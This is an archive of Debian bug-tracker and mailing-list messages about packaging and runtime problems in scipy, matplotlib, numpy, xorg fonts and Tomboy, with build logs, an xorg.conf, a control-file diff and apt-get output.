On Sat, 29 Oct 2005, Stefan Hornburg wrote: Please provide some downgrade package links, this cannot leave in this state. IMAPS is not working. Just create a symbolic link libz.so in /usr/lib pointing to libz.so.1 Thank you very much, your help is very appreciated. It works! Ondrej -- /\ Ondrej Jombik - [EMAIL PROTECTED] - http://nepto.sk - ICQ #122428216 //\\ Platon Group - open source software development - http://platon.sk //\\ 10 types of people: those who understand binary & those who do not -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#311912: f-spot local copy somewhere?
Hi Andrew, I tried installing f-spot on clean system (pbuilder environment) and it runs without problems. Could you check f-spot in clean GNOME environment: 1. create test user on your system 2. log-in as test user 3. run f-spot If it helps then send me /tmp/f-spot.strace.txt file created by running: strace -f -o /tmp/f-spot.strace.txt f-spot (on your real user where it breaks) Also if you could put contents of your ~/.gnome/f-spot/ somewhere on web and send me location of this file (you can do it outside of BTS). Thanks, -- Ondrej Sury <[EMAIL PROTECTED]> -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#475990: python-scipy: FTBFS: _fftpackmodule.c:863: undefined reference to `PyArg_ParseTupleAndKeywords'
On Mon, Apr 14, 2008 at 12:53 PM, Lucas Nussbaum <[EMAIL PROTECTED]> wrote: > > > /build/user/python-scipy-0.6.0/build/src.linux-i686-2.4/fortranobject.c:27: > undefined reference to `PyDict_SetItemString' > > > /build/user/python-scipy-0.6.0/build/src.linux-i686-2.4/fortranobject.c:21: > undefined reference to `PyErr_Occurred' > > > /build/user/python-scipy-0.6.0/build/src.linux-i686-2.4/fortranobject.c:22: > undefined reference to `PyErr_Print' > > > /build/user/python-scipy-0.6.0/build/src.linux-i686-2.4/fortranobject.c:23: > undefined reference to `PyErr_Clear' > > /usr/lib/libgfortranbegin.a(fmain.o): In function `main': > > (.text+0x35): undefined reference to `MAIN__' > > collect2: ld returned 1 exit status Thanks for the bug report. Indeed it fails both on i386 and amd64. I just asked upstream (on scipy-dev) if they have any ideas. Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#475990: python-scipy: FTBFS: _fftpackmodule.c:863: undefined reference to `PyArg_ParseTupleAndKeywords'
On Mon, Apr 14, 2008 at 12:02 PM, Ondrej Certik <[EMAIL PROTECTED]> wrote: > On Mon, Apr 14, 2008 at 12:53 PM, Lucas Nussbaum > <[EMAIL PROTECTED]> wrote: > > > > /build/user/python-scipy-0.6.0/build/src.linux-i686-2.4/fortranobject.c:27: > undefined reference to `PyDict_SetItemString' > > > > /build/user/python-scipy-0.6.0/build/src.linux-i686-2.4/fortranobject.c:21: > undefined reference to `PyErr_Occurred' > > > > /build/user/python-scipy-0.6.0/build/src.linux-i686-2.4/fortranobject.c:22: > undefined reference to `PyErr_Print' > > > > /build/user/python-scipy-0.6.0/build/src.linux-i686-2.4/fortranobject.c:23: > undefined reference to `PyErr_Clear' > > > /usr/lib/libgfortranbegin.a(fmain.o): In function `main': > > > (.text+0x35): undefined reference to `MAIN__' > > > collect2: ld returned 1 exit status > > Thanks for the bug report. Indeed it fails both on i386 and amd64. I > just asked upstream (on scipy-dev) if they have any ideas. OK, a fix that works on i386 (checked in pbuilder) was committed to our svn. However, there is still an error for amd64, so please do not upload yet. See scipy-dev for more details. Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#467099: Please rebuild against the latest python-numpy
Package: python-matplotlib Severity: serious --- Please enter the report below this line. --- Hi, python-matplotlib needs to be rebuild against the latest python-numpy, because python-numpy finally switched to gfortran from g77. Currently, python-matplotlib and python-numpy don't even install together in sid, so I think it's a serious bug. I and Kumar offer fixing it, so I sent the following email to Vittorio two days ago: " Hi Vittorio, we need to fix matplotlib to work with the new python-numpy. Mostly Kumar did the hard work of fixing numpy to compile with the new gfortran based lapack. It would be nice, if matplotlib would be maintained in the DPMT http://wiki.debian.org/Teams/PythonModulesTeam svn repositories, so that we can just fix the package and write you an email to review our changes and upload. One option is to add PythonModulesTeam among uploaders. Also - I am not a DD yet, but I am already a DM. Are you ok with adding the DM-Upload-Allowed field into the package and me among uploaders? So that we can just ping you, you will review the changes, say ok, and I can upload myself if you are busy. Another option, which imho is even better, is that DPMT will be the maintainer, and all of us in uploaders. That way, anyone from the DPMT is free to fix and upload a new revision, without seeking an approval. This strategy works well with all packages I comaintain (sympy, scipy, numpy, pyglet, petsc4py, ...). Let us know which option (if any) you like. Thanks, Ondrej " With no response so far. So I imported it to DPMT svn anyway, so that we can fix it soon: svn://svn.debian.org/svn/python-modules/packages/matplotlib/ I'll try to fix it with Kumar tomorrow. Hopefully the maintainers of python-matplotlib (CCed) will get back to us soon either approving our action, or offering a different solution. :) As I said in the email, if you don't want DPMT take over the package, no problem. I'll just use the above svn so that we can test this package easily with Kumar and then send you a patch, so that you can apply and upload. Thanks, Ondrej --- System information. --- Architecture: i386 Kernel: Linux 2.6.24-1-686 Debian Release: lenny/sid 500 unstableftp.cz.debian.org --- Package information. --- Depends(Version) | Installed -+-== python-central(>= 0.5.8) | 0.5.15-0.1 python (<< 2.6) | 2.4.4-6 python (>= 2.4) | 2.4.4-6 python-numpy (>= 1:1.0.3) | 1:1.0.4-6 OR python-numeric-ext | 24.2-8 OR python-numarray-ext | python-tk| 2.4.4-3 python-gd (>= 0.52) | OR python-pypaint | OR python-gtk2 | 2.12.1-1 OR libwxgtk2.4-python | OR python-qt3 | 3.17.4-1 python-tz| 2007d-1 python-dev | 2.4.4-6 python-matplotlib-data (>= 0.90.1-2) | 0.90.1-2 python-dateutil | 1.3-1 python-gobject | 2.14.1-1 libatk1.0-0 (>= 1.13.2) | 1.20.0-1 libc6 (>= 2.6-1) | 2.7-8 libcairo2 (>= 1.4.0) | 1.4.14-1 libfontconfig1(>= 2.4.0) | 2.5.0-2 libfreetype6 (>= 2.3.5) | 2.3.5-1+b1 libgcc1 (>= 1:4.2-20070516) | 1:4.3-20080219-1 libglib2.0-0 (>= 2.12.9) | 2.14.6-1 libgtk2.0-0 (>= 2.10.12-3) | 2.12.8-1 libpango1.0-0(>= 1.16.4) | 1.18.4-1 libpng12-0 (>= 1.2.13-4) | 1.2.15~beta5-3 libstdc++6 (>= 4.2-20070516) | 4.3-20080219-1 libx11-6 | 2:1.0.3-7 libxcursor1 (>> 1.1.2) | 1:1.1.9-1 libxext6 | 1:1.0.3-2 libxfixes3 (>= 1:4.0.1) | 1:4.0.3-2 libxi6 | 2:1.1.3-1 libxinerama1 | 1:1.0.2-1 libxrandr2 (>= 2:1.2.0) | 2:1.2.2-1 libxrender1 | 1:0.9.4-1 tcl8.4(>= 8.4.5) | 8.4.18-2 tk8.4 (>= 8.4.5) | 8.4.18-1 zlib1g (>= 1:1.2.3.3.dfsg-1) | 1:1.2.3.3.dfsg-11 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#467099: do we still need support for python-numarray and python-numeric?
See this wiki for explanation about these packages: http://wiki.debian.org/python-numpy If you are ok with this, let's just support python-numpy? Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#467099: package is ready for upload
Hi, I committed the necessary fix, it turns out just this is needed: $ svn di -r 4597 Index: debian/control === --- debian/control (revision 4597) +++ debian/control (working copy) @@ -3,7 +3,7 @@ Priority: optional Maintainer: Vittorio Palmisano <[EMAIL PROTECTED]> Uploaders: Marco Presi (Zufus) <[EMAIL PROTECTED]>, Alexandre Fayolle <[EMAIL PROTECTED]> -Build-Depends: debhelper (>= 5.0.38), python-dateutil, python-all-dev (>= 2.3.5-7), python-central (>= 0.5.6), dpatch, python-gtk2-dev, python-numeric (>= 24.2-3), python-numarray (>= 1.5.1-3), python-numpy (>= 1:1.0.3), libgtk2.0-dev, libfreetype6-dev, zlib1g-dev, libpng-dev, tk8.4-dev, python-tk, tcl8.4-dev, python-epydoc, python-tz, xbase-clients [!s390] +Build-Depends: debhelper (>= 5.0.38), python-dateutil, python-all-dev (>= 2.3.5-7), python-central (>= 0.5.6), dpatch, python-gtk2-dev, python-numeric (>= 24.2-3), python-numarray (>= 1.5.1-3), python-numpy (>= 1:1.0.4-6), libgtk2.0-dev, libfreetype6-dev, zlib1g-dev, libpng-dev, tk8.4-dev, python-tk, tcl8.4-dev, python-epydoc, python-tz, xbase-clients [!s390] XS-Python-Version: all Standards-Version: 3.7.2 Index: debian/changelog === --- debian/changelog(revision 4597) +++ debian/changelog(working copy) @@ -1,3 +1,9 @@ +matplotlib (0.90.1-3) unstable; urgency=low + + * Rebuilt against python-numpy 1:1.0.4-6 (Closes: #467099) + + -- Ondrej Certik <[EMAIL PROTECTED]> Sat, 23 Feb 2008 12:41:31 +0100 + matplotlib (0.90.1-2) unstable; urgency=low * Upload to unstable and not experimental (closes: #411709) However, this cannot be uploaded using NMU, see my email: http://lists.debian.org/debian-python/2008/02/msg00028.html for the explanation. Anyway, the package needs more fixing, it is not at all lintian clean. But for now, let's just upload my fix to make it work in unstable again. As the second step, let's maintain it collaboratively in DPMT and get it fixed? For example a new upstream version needs packaging and other bugs are waiting to be fixed... Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#467099: RFS: matplotlib 0.90.1-3
On Sat, Feb 23, 2008 at 5:08 PM, Ondrej Certik <[EMAIL PROTECTED]> wrote: > > On Sat, Feb 23, 2008 at 4:31 PM, Eike Nicklas <[EMAIL PROTECTED]> wrote: > > Hi Ondrej et al., > > > > > > > > > > Yes, I read that bug. There are more problems with matplotlib - it is > > > not lintian clean, > > > it still uses Numerics and numarray besides numpy (I don't know if > > > this is a feature or a bug), > > > > > > > I think upstream deprecated Numerics and numarray and the latest > > version only uses numpy. > > > > Changelog excerpts: > > > > 2007-06-01 Deprecate Numeric and numarray for use as numerix. > > 2007-06-02 Released 0.90.1 at revision 3352 > > 2007-06-07 Disable build of numarray and Numeric extensions for > >internal MPL use and the numerix layer. > > 2007-07-19 replaced the Python code in numerix/ by a minimal wrapper > >around numpy that explicitly mentions all symbols that need > >to be addressed for further numpification > > [...] > > and only numpy is mentioned in the current README. > > > > Anyway, as a matplotlib user, I am happy that you want to fix the > > current issues, but sadly I currently don't have the time to help with > > that. > > It shouldn't be a big problem and I'll do it, as I also use and need it. We > are actually only waiting for an approval from the matplotlib maintainers. Anyway, this seems it will take quite some time before it gets resolved, so I compiled the fixed packages for i386 and amd64 and put them here to my repository: http://debian.certik.cz/ Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#452268: all fonts are unreadable
Package: xserver-xorg Version: 1:7.2-5 Severity: serious --- Please enter the report below this line. --- I use unstable and in some recent upgrade (I think yesterday, or the day before that), all fonts became unreadable. When I start xterm in .xsession, the font is readable, but whenever I start gnome-session, or kde, or xfce, or kate, or openoffice or gnome-terminal from the xterm, it's completely unusable, because I cannot read anything - there are black rectangles instead of the letters in all fonts. So I did $ sudo apt-get remove --purge xserver-xorg-core changed sources.list from unstable to testing $ sudo apt-get update $ sudo apt-get install xorg and everything started to work again. So the bug is clearly in xorg somewhere. Any ideas? Please ask for more information, I don't know what could be relevant as I don't understand fonts much. Thanks, Ondrej This is my original xorg.conf: # /etc/X11/xorg.conf (xorg X Window System server configuration file) # # This file was generated by dexconf, the Debian X Configuration tool, using # values from the debconf database. # # Edit this file with caution, and see the /etc/X11/xorg.conf manual page. # (Type "man /etc/X11/xorg.conf" at the shell prompt.) # # This file is automatically updated on xserver-xorg package upgrades *only* # if it has not been modified since the last upgrade of the xserver-xorg # package. # # If you have edited this file but would like it to be automatically updated # again, run the following command: # sudo dpkg-reconfigure -phigh xserver-xorg Section "Files" FontPath"/usr/share/fonts/X11/misc" FontPath"/usr/X11R6/lib/X11/fonts/misc" FontPath"/usr/share/fonts/X11/cyrillic" FontPath"/usr/X11R6/lib/X11/fonts/cyrillic" FontPath"/usr/share/fonts/X11/100dpi/:unscaled" FontPath"/usr/X11R6/lib/X11/fonts/100dpi/:unscaled" FontPath"/usr/share/fonts/X11/75dpi/:unscaled" FontPath"/usr/X11R6/lib/X11/fonts/75dpi/:unscaled" FontPath"/usr/share/fonts/X11/Type1" FontPath"/usr/X11R6/lib/X11/fonts/Type1" FontPath"/usr/share/fonts/X11/100dpi" FontPath"/usr/X11R6/lib/X11/fonts/100dpi" FontPath"/usr/share/fonts/X11/75dpi" FontPath"/usr/X11R6/lib/X11/fonts/75dpi" # path to defoma fonts FontPath"/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType" EndSection Section "Module" Load"i2c" Load"bitmap" Load"ddc" Load"dri" Load"extmod" Load"freetype" Load"glx" Load"int10" Load"type1" Load"vbe" EndSection Section "InputDevice" Identifier "Generic Keyboard" Driver "kbd" Option "CoreKeyboard" Option "XkbRules" "xorg" Option "XkbModel" "pc104" Option "XkbLayout" "us" EndSection Section "InputDevice" Identifier "Configured Mouse" Driver "mouse" Option "CorePointer" Option "Device""/dev/input/mice" Option "Protocol" "ImPS/2" Option "Emulate3Buttons" "true" EndSection Section "Device" Identifier "Generic Video Card" #Driver "vesa" Driver "i810" EndSection Section "Monitor" Identifier "BenQ FP93G" Option "DPMS" EndSection Section "Screen" Identifier "Default Screen" Device "Generic Video Card" Monitor "BenQ FP93G" DefaultDepth24 SubSection "Display" Depth 1 Modes "1280x1024" "1152x864" "1024x768" "832x624" "800x600" "720x400" "640x480" "640x350" EndSubSection SubSection "Display" Depth 4 Modes "1280x1024" "1152x864" "1024x768" "832x624" "800x600" "720x400" "640x480" "640x350" EndSubSection
Bug#450443: FTBFS
Package: python-numpy Version: 1:1.0.3-1 Thanks very much for the patch. I am going to try to fix it now as part of the Debian Python Modules Team. Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#426012: Depends on python-numpy-dev
On Dec 1, 2007 7:11 PM, Kumar Appaiah <[EMAIL PROTECTED]> wrote: > severity 426012 normal > thanks > > On Wed, Aug 01, 2007 at 10:19:26PM +0200, Josselin Mouette wrote: > > Package: python-numpy > > Version: 1:1.0.3-1 > > Severity: normal > > > > Hi, > > > > currently python-numpy depends on python-numpy-dev. As the latter is not > > needed unless you want to build numpy extensions, the dependency should > > be the other way round. > > Dear Josselin, > > Please have a look at #413160 and tell me if yoru bug is still > relevant. While I understand that this sort of dependency ordering > beats logic, the maintainers have decided this for the reasons > mentioned there. > > If you still feel this is a bug, myself and Ondrej will try to figure > out a way to resolve this and discuss it with the maintainers. > > Thanks! I think it's definitely a bug. Either there should be no python-numpy-dev package, or there can be one, but definitely python-numpy shouldn't depend on python-numpy-dev. Let's figure out how to fix it. Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#454158: Unhandled Exception on startup, tomboy won't start
Package: tomboy Version: 0.8.2-1 Severity: grave --- Please enter the report below this line. --- $ tomboy [DEBUG]: NoteManager created with note path "/home/ondra/.tomboy". ** (Tomboy:30324): WARNING **: The following assembly referenced from /usr/lib/tomboy/Tomboy.exe could not be loaded: Assembly: Mono.Addins(assemblyref_index=7) Version:0.2.0.0 Public Key: 0738eb9f132ed756 The assembly was not found in the Global Assembly Cache, a path listed in the MONO_PATH environment variable, or in the location of the executing assembly (/usr/lib/tomboy). ** (Tomboy:30324): WARNING **: Could not load file or assembly 'Mono.Addins, Version=0.2.0.0, Culture=neutral, PublicKeyToken=0738eb9f132ed756' or one of its dependencies. ** (Tomboy:30324): WARNING **: Missing method .ctor in assembly /usr/lib/tomboy/Tomboy.exe, type Mono.Addins.AddinEventHandler Unhandled Exception: System.IO.FileNotFoundException: Could not load file or assembly 'Mono.Addins, Version=0.2.0.0, Culture=neutral, PublicKeyToken=0738eb9f132ed756' or one of its dependencies. File name: 'Mono.Addins, Version=0.2.0.0, Culture=neutral, PublicKeyToken=0738eb9f132ed756' at <0x0> at Tomboy.AddinManager..ctor (System.String tomboy_conf_dir) [0x0] at Tomboy.NoteManager.CreateAddinManager () [0x0] at Tomboy.NoteManager..ctor (System.String directory, System.String backup_directory) [0x0] at Tomboy.NoteManager..ctor (System.String directory) [0x0] at Tomboy.Tomboy.Main (System.String[] args) [0x0] I was using tomboy for managing my notes, but today I am not able to start it up. :( --- System information. --- Architecture: i386 Kernel: Linux 2.6.21-1-686 Debian Release: lenny/sid 500 unstableftp.cz.debian.org --- Package information. --- Depends (Version) | Installed ===-+-== gconf2(>= 2.10.1-2) | 2.20.1-1 libart-2.0-2(>= 2.3.18) | 2.3.19-3 libatk1.0-0 (>= 1.20.0) | 1.20.0-1 libc6(>= 2.7-1) | 2.7-3 libcairo2(>= 1.4.0) | 1.4.10-1 libgconf2.0-cil (>= 2.16.0) | 2.16.0-7 libglib2.0-0(>= 2.14.0) | 2.14.4-2 libglib2.0-cil (>= 2.10.2) | 2.10.2-1 libgmime2.2-cil (>= 2.2.11) | 2.2.11-1 libgnome2.0-cil (>= 2.16.0) | 2.16.0-7 libgnomecanvas2-0 (>= 2.11.1) | 2.20.1.1-1 libgnomeprint2.2-0 (>= 2.17.0) | 2.18.2-1 libgnomeprintui2.2-0(>= 2.17.0) | 2.18.1-1 libgtk2.0-0 (>= 2.12.0) | 2.12.2-1 libgtk2.0-cil (>= 2.10.2) | 2.10.2-1 libgtkspell0 (>= 2.0.2) | 2.0.10-3+b1 libmono-addins-gui0.2-cil(>= 0.2-4) | 0.3~svn.r90520-1 libmono-addins0.2-cil(>= 0.2-4) | 0.3~svn.r90520-1 libmono-corlib2.0-cil(>= 1.2.5) | 1.2.5.1-2 libmono-system2.0-cil(>= 1.2.5) | 1.2.5.1-2 libmono2.0-cil (>= 1.2.5) | 1.2.5.1-2 libndesk-dbus-glib1.0-cil(>= 0.4.0) | 0.4.1-1 libndesk-dbus1.0-cil (>= 0.6.0) | 0.6.0-1 libpanel-applet2-0 (>= 2.19.3) | 2.20.2-2 libpango1.0-0 (>= 1.18.3) | 1.18.3-1 libxml2 | 2.6.30.dfsg-3 mono-runtime (>= 1.1.8.1) | 1.2.5.1-2 zlib1g(>= 1:1.2.3.3.dfsg-1) | 1:1.2.3.3.dfsg-7 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#454158: closed by Sebastian Dröge <[EMAIL PROTECTED]> (Re: Bug#454158: Unhandled Exception on startup, tomboy won't start)
> > I was using tomboy for managing my notes, but today I am not able to start > > it up. :( > > This was a bug in cli-common and is now fixed with 0.5.2. I upgraded all packages, including cli-common and the bug is still there. Could you please reopen the bug? $ dpkg -l cli-common Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed |/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad) ||/ Name VersionDescription +++-==-==- ii cli-common 0.5.2 common files between all CLI packages $ tomboy [DEBUG]: NoteManager created with note path "/home/ondra/.tomboy". ** (Tomboy:21179): WARNING **: The following assembly referenced from /usr/lib/tomboy/Tomboy.exe could not be loaded: Assembly: Mono.Addins(assemblyref_index=7) Version:0.2.0.0 Public Key: 0738eb9f132ed756 The assembly was not found in the Global Assembly Cache, a path listed in the MONO_PATH environment variable, or in the location of the executing assembly (/usr/lib/tomboy). ** (Tomboy:21179): WARNING **: Could not load file or assembly 'Mono.Addins, Version=0.2.0.0, Culture=neutral, PublicKeyToken=0738eb9f132ed756' or one of its dependencies. ** (Tomboy:21179): WARNING **: Missing method .ctor in assembly /usr/lib/tomboy/Tomboy.exe, type Mono.Addins.AddinEventHandler Unhandled Exception: System.IO.FileNotFoundException: Could not load file or assembly 'Mono.Addins, Version=0.2.0.0, Culture=neutral, PublicKeyToken=0738eb9f132ed756' or one of its dependencies. File name: 'Mono.Addins, Version=0.2.0.0, Culture=neutral, PublicKeyToken=0738eb9f132ed756' at <0x0> at Tomboy.AddinManager..ctor (System.String tomboy_conf_dir) [0x0] at Tomboy.NoteManager.CreateAddinManager () [0x0] at Tomboy.NoteManager..ctor (System.String directory, System.String backup_directory) [0x0] at Tomboy.NoteManager..ctor (System.String directory) [0x0] at Tomboy.Tomboy.Main (System.String[] args) [0x0] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#454158: closed by Sebastian Dröge <[EMAIL PROTECTED]> (Re: Bug#454158: Unhandled Exception on startup, tomboy won't start)
On Dec 4, 2007 2:20 PM, Sebastian Dröge <[EMAIL PROTECTED]> wrote: > > Am Dienstag, den 04.12.2007, 14:11 +0100 schrieb Ondrej Certik: > > > > I was using tomboy for managing my notes, but today I am not able to > > > > start it up. :( > > > > > > This was a bug in cli-common and is now fixed with 0.5.2. > > > > I upgraded all packages, including cli-common and the bug is still > > there. Could you please reopen the bug? > > > > $ dpkg -l cli-common > > Desired=Unknown/Install/Remove/Purge/Hold > > | Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed > > |/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: > > uppercase=bad) > > ||/ Name VersionDescription > > +++-==-==- > > ii cli-common 0.5.2 common files between all CLI packages > > $ tomboy > > [DEBUG]: NoteManager created with note path "/home/ondra/.tomboy". > > > > ** (Tomboy:21179): WARNING **: The following assembly referenced from > > /usr/lib/tomboy/Tomboy.exe could not be loaded: > > Assembly: Mono.Addins(assemblyref_index=7) > > Version:0.2.0.0 > > Public Key: 0738eb9f132ed756 > > The assembly was not found in the Global Assembly Cache, a path listed > > in the MONO_PATH environment variable, or in the location of the > > executing assembly (/usr/lib/tomboy). > > > > > > ** (Tomboy:21179): WARNING **: Could not load file or assembly > > 'Mono.Addins, Version=0.2.0.0, Culture=neutral, > > PublicKeyToken=0738eb9f132ed756' or one of its dependencies. > > > > ** (Tomboy:21179): WARNING **: Missing method .ctor in assembly > > /usr/lib/tomboy/Tomboy.exe, type Mono.Addins.AddinEventHandler > > > > Unhandled Exception: System.IO.FileNotFoundException: Could not load > > file or assembly 'Mono.Addins, Version=0.2.0.0, Culture=neutral, > > PublicKeyToken=0738eb9f132ed756' or one of its dependencies. > > File name: 'Mono.Addins, Version=0.2.0.0, Culture=neutral, > > PublicKeyToken=0738eb9f132ed756' > > at <0x0> > > at Tomboy.AddinManager..ctor (System.String tomboy_conf_dir) [0x0] > > at Tomboy.NoteManager.CreateAddinManager () [0x0] > > at Tomboy.NoteManager..ctor (System.String directory, System.String > > backup_directory) [0x0] > > at Tomboy.NoteManager..ctor (System.String directory) [0x0] > > at Tomboy.Tomboy.Main (System.String[] args) [0x0] > > Try > apt-get --reinstall install libmono-addins2.0-cil Didn't work: [EMAIL PROTECTED]:~$ sudo apt-get --reinstall install libmono-addins0.2-cil Reading package lists... Done Building dependency tree Reading state information... Done 0 upgraded, 0 newly installed, 1 reinstalled, 0 to remove and 0 not upgraded. Need to get 111kB of archives. After unpacking 0B of additional disk space will be used. Do you want to continue [Y/n]? Get:1 http://ftp.cz.debian.org unstable/main libmono-addins0.2-cil 0.3~svn.r90520-1 [111kB] Fetched 111kB in 0s (744kB/s) (Reading database ... 199839 files and directories currently installed.) Preparing to replace libmono-addins0.2-cil 0.3~svn.r90520-1 (using .../libmono-addins0.2-cil_0.3~svn.r90520-1_all.deb) ... Removing libmono-addins0.2-cil from Mono Unpacking replacement libmono-addins0.2-cil ... Setting up libmono-addins0.2-cil (0.3~svn.r90520-1) ... * Installing 2 assemblies from libmono-addins0.2-cil into Mono [EMAIL PROTECTED]:~$ tomboy [DEBUG]: NoteManager created with note path "/home/ondra/.tomboy". [INFO]: Initializing Mono.Addins Assembly not found: Mono.Addins.Gui, Version=0.2.0.0, Culture=neutral, PublicKeyToken=0738eb9f132ed756 WARNING: The add-in 'Tomboy.NoteOfTheDayAddin,0.1' is trying to extend '/Tomboy/ApplicationAddins', but there isn't any add-in defining this extension point WARNING: The add-in 'Tomboy.NoteOfTheDayAddin,0.1' is trying to extend '/Tomboy/AddinPreferences', but there isn't any add-in defining this extension point WARNING: The add-in 'Tomboy.EvolutionAddin,0.1' is trying to extend '/Tomboy/NoteAddins', but there isn't any add-in defining this extension point WARNING: The add-in 'Tomboy.PrintNotesAddin,0.1' is trying to extend '/Tomboy/NoteAddins', but there isn't any add-in defining this extension point WARNING: The add-in 'Tomboy.ExportToHtmlAddin,0.1' is trying to extend '/Tomboy/NoteAddins', but there isn't any add-in defining this extension point WARNING: The add-in 'Tomboy.BacklinksAddin,0.1' is trying to extend '/T
Bug#454158: closed by Sebastian Dröge <[EMAIL PROTECTED]> (Re: Bug#454158: Unhandled Exception on startup, tomboy won't start)
On Dec 4, 2007 3:22 PM, Sebastian Dröge <[EMAIL PROTECTED]> wrote: > > Am Dienstag, den 04.12.2007, 15:16 +0100 schrieb Arthur Petitpierre: > > > Selon Sebastian Dröge <[EMAIL PROTECTED]>: > > > > > Try > > > apt-get --reinstall install libmono-addins2.0-cil > > > > Sorry but it doesn't work : > > > > [15:[EMAIL PROTECTED]:~/Desktop$ sudo apt-get --reinstall install > > libmono-addins0.2-cil > > Reading package lists... Done > > Building dependency tree > > Reading state information... Done > > 0 upgraded, 0 newly installed, 1 reinstalled, 0 to remove and 2 not > > upgraded. > > Need to get 0B/111kB of archives. > > After unpacking 0B of additional disk space will be used. > > Do you want to continue [Y/n]? y > > (Reading database ... 165031 files and directories currently installed.) > > Preparing to replace libmono-addins0.2-cil 0.3~svn.r90520-1 (using > > .../libmono-addins0.2-cil_0.3~svn.r90520-1_all.deb) ... > > Removing libmono-addins0.2-cil from Mono > > Unpacking replacement libmono-addins0.2-cil ... > > Setting up libmono-addins0.2-cil (0.3~svn.r90520-1) ... > > * Installing 2 assemblies from libmono-addins0.2-cil into Mono > > [15:[EMAIL PROTECTED]:~/Desktop$ tomboy > > [DEBUG]: NoteManager created with note path "/home/arthur/.tomboy". > > [INFO]: Initializing Mono.Addins > > Assembly not found: Mono.Addins.Gui, Version=0.2.0.0, Culture=neutral, > > PublicKeyToken=0738eb9f132ed756 > > WARNING: The add-in 'Tomboy.NoteOfTheDayAddin,0.1' is trying to extend > > '/Tomboy/ApplicationAddins', but there isn't any add-in defining this > > extension > > point > > WARNING: The add-in 'Tomboy.NoteOfTheDayAddin,0.1' is trying to extend > > '/Tomboy/AddinPreferences', but there isn't any add-in defining this > > extension > > point > > WARNING: The add-in 'Tomboy.EvolutionAddin,0.1' is trying to extend > > '/Tomboy/NoteAddins', but there isn't any add-in defining this extension > > point > > WARNING: The add-in 'Tomboy.PrintNotesAddin,0.1' is trying to extend > > '/Tomboy/NoteAddins', but there isn't any add-in defining this extension > > point > > WARNING: The add-in 'Tomboy.ExportToHtmlAddin,0.1' is trying to extend > > '/Tomboy/NoteAddins', but there isn't any add-in defining this extension > > point > > WARNING: The add-in 'Tomboy.BacklinksAddin,0.1' is trying to extend > > '/Tomboy/NoteAddins', but there isn't any add-in defining this extension > > point > > WARNING: The add-in 'Tomboy.SshSyncServiceAddin,0.1' is trying to extend > > '/Tomboy/SyncServiceAddins', but there isn't any add-in defining this > > extension > > point > > WARNING: The add-in 'Tomboy.FixedWidthAddin,0.1' is trying to extend > > '/Tomboy/NoteAddins', but there isn't any add-in defining this extension > > point > > WARNING: The add-in 'Tomboy.WebDavSyncServiceAddin,0.1' is trying to extend > > '/Tomboy/SyncServiceAddins', but there isn't any add-in defining this > > extension > > point > > WARNING: The add-in 'Tomboy.StickyNoteImportAddin,0.1' is trying to extend > > '/Tomboy/NoteAddins', but there isn't any add-in defining this extension > > point > > WARNING: The add-in 'Tomboy.FileSystemSyncServiceAddin,0.1' is trying to > > extend > > '/Tomboy/SyncServiceAddins', but there isn't any add-in defining this > > extension > > point > > WARNING: The add-in 'Tomboy.BugzillaAddin,0.1' is trying to extend > > '/Tomboy/NoteAddins', but there isn't any add-in defining this extension > > point > > WARNING: The add-in 'Tomboy.BugzillaAddin,0.1' is trying to extend > > '/Tomboy/AddinPreferences', but there isn't any add-in defining this > > extension > > point > > > > Unhandled Exception: System.InvalidOperationException: Extension node not > > found > > in path: /Tomboy/ApplicationAddins > > at Mono.Addins.ExtensionContext.AddExtensionNodeHandler (System.String > > path, > > Mono.Addins.ExtensionNodeEventHandler handler) [0x0] > > at Mono.Addins.AddinManager.AddExtensionNodeHandler (System.String path, > > Mono.Addins.ExtensionNodeEventHandler handler) [0x0] > > at Tomboy.AddinManager.InitializeMonoAddins () [0x0] > > at Tomboy.AddinManager..ctor (System.String tomboy_conf_dir) [0x0] > > at Tomboy.NoteManager.CreateAddinManager () [0x0] > > at Tomboy.NoteManager..ctor (System.String directory, System.String > > backup_directory) [0x0] > > at Tomboy.NoteManager..ctor (System.String directory) [0x0] > > at Tomboy.Tomboy.Main (System.String[] args) [0x0] > > > Oh, could you guys try > > apt-get install --reinstall libmono-addins-gui0.2-cil ? Sure: [EMAIL PROTECTED]:~$ sudo apt-get install --reinstall libmono-addins-gui0.2-cil Reading package lists... Done Building dependency tree Reading state information... Done 0 upgraded, 0 newly installed, 1 reinstalled, 0 to remove and 0 not upgraded. Need to get 40.9kB of archives. After unpacking 0B of additional disk space will be used. Do you want to continue [Y/n]? Get:1 http://ftp.cz.debian.org unstable/main libmono-addins-gui0.2-cil
Bug#454484: unable to reproduce
